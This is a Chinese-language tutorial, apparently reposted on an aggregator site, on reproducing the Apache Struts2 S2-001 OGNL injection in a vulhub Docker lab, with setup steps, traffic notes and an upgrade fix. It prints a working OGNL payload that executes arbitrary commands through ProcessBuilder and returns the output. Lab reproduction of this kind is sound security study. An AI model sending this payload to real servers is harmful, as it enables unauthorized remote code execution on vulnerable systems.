Apache Struts2漏洞复现之s2-001漏洞复现

这篇具有很好参考价值的文章主要介绍了Apache Struts2漏洞复现之s2-001漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。

        缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

0x03 漏洞概述:

        该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

0x04 影响版本:

    Struts 2.0.0 - 2.0.8

0x05 环境搭建:

Docker环境搭建:

        参考这篇文章(https://blog.csdn.net/qq_44281295/article/details/126573488)

漏洞环境搭建:

下载vulhub

https://github.com/vulhub/vulhub

启动项目

进入s2-001目录

cd /root/vulhub/struts2/s2-001/

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

注意!!

有可能下载不了,需要科学上网!!

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

访问:

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

0x06 漏洞复现:

利用POC:

%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“whoami”})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

执行任意命令时只需要,将上面poc里whoami的命令替换为其他即可。

0x07 流量分析:

        可以从流量中明显看出恶意命令信息。

Apache Struts2漏洞复现之s2-001漏洞复现,Apache Struts2漏洞复现,apache,struts,java,网络安全

0x08 修复建议:

       从 XWork 2.0.4 开始,OGNL 解析已更改,其不会递归解析,所以可以更新 Struts 版本或 XWork 版本为漏洞修复版本。文章来源地址https://www.toymoban.com/news/detail-600516.html

到了这里,关于Apache Struts2漏洞复现之s2-001漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • struts2 s2-062 OGNL远程代码执行

    struts2是一种重量级的框架,位于MVC架构中的controller,可以分析出来,它是用于接受页面信息然后通过内部处理,将结果返回。struts2也是一个web层的MVC框架。 Java中SSH框架 SSH为Struts+Spring+Hibernate的一个集成框架,是目前较流行的一种JAVA Web应用程序开源框架。 Java中SSM框架 SS

    2024年02月02日
    浏览(39)
  • Struts2 漏洞集合

    总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署 S2-001 (CVE-2007-4556) 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值

    2024年02月16日
    浏览(42)
  • struts2漏洞

    漏洞原理 该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达

    2024年02月06日
    浏览(44)
  • 【渗透测试】Struts2系列漏洞

    🌷S2-001 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法 🌷S2-005 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法(无回显) 🌼4、验证方法(有回显) 🌷S2-007 🌼1、漏洞原理 🌼2、影响版本 🌼3、漏洞验证 🌷S2-008 🌼1、漏洞原理 🌼2、影响版本 🌼3、漏洞验证 🌷S2-009 🌼

    2023年04月09日
    浏览(43)
  • 框架安全-CVE 复现&Spring&Struts&Laravel&ThinkPHP漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月08日
    浏览(52)
  • java web mvc-02-struts2

    Spring Web MVC-00-重学 mvc mvc-01-Model-View-Controller 概览 web mvc-03-JFinal web mvc-04-Apache Wicket web mvc-05-JSF JavaServer Faces web mvc-06-play framework intro web mvc-07-Vaadin web mvc-08-Grails Apache Struts是一个用于创建优雅、现代Java Web应用程序的免费、开源的MVC框架。 struts 我的示例基于maven和struts2文档。

    2024年01月24日
    浏览(50)
  • 框架安全(Laravel、thinkphp、struts2、springboot)

    Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。 特征: CVE-2021-3129 Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发php反序列化,最终造

    2024年04月14日
    浏览(36)
  • 【Java】极简的快速入门Struts2知识清单

    目录 简介 MVC示例 Model层 View层 Controller层 配置文件struts.xml 简单开发流程 Struts2 是一个用于开发 Java Web 应用程序的开源 Web 应用程序框架,它是 Struts 框架的升级版。Struts2 提供了更简单、更灵活的方式来构建 Web 应用程序,采用了拦截器(Interceptors)等技术来处理请求,并且

    2024年02月19日
    浏览(39)
  • 框架安全-CVE 复现&Apache Shiro&Apache Solr漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等 1、开发框架-PHP-Laravel-Thinkphp 2、开发框架-Javaweb-St2-Spring 3、开发框架-Python-django-Flask 4、开发框架-Javascript-Nod

    2024年02月05日
    浏览(55)
  • 框架漏洞-CVE复现-Apache Shiro+Apache Solr

    什么是框架?        就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。          如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于

    2024年02月16日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包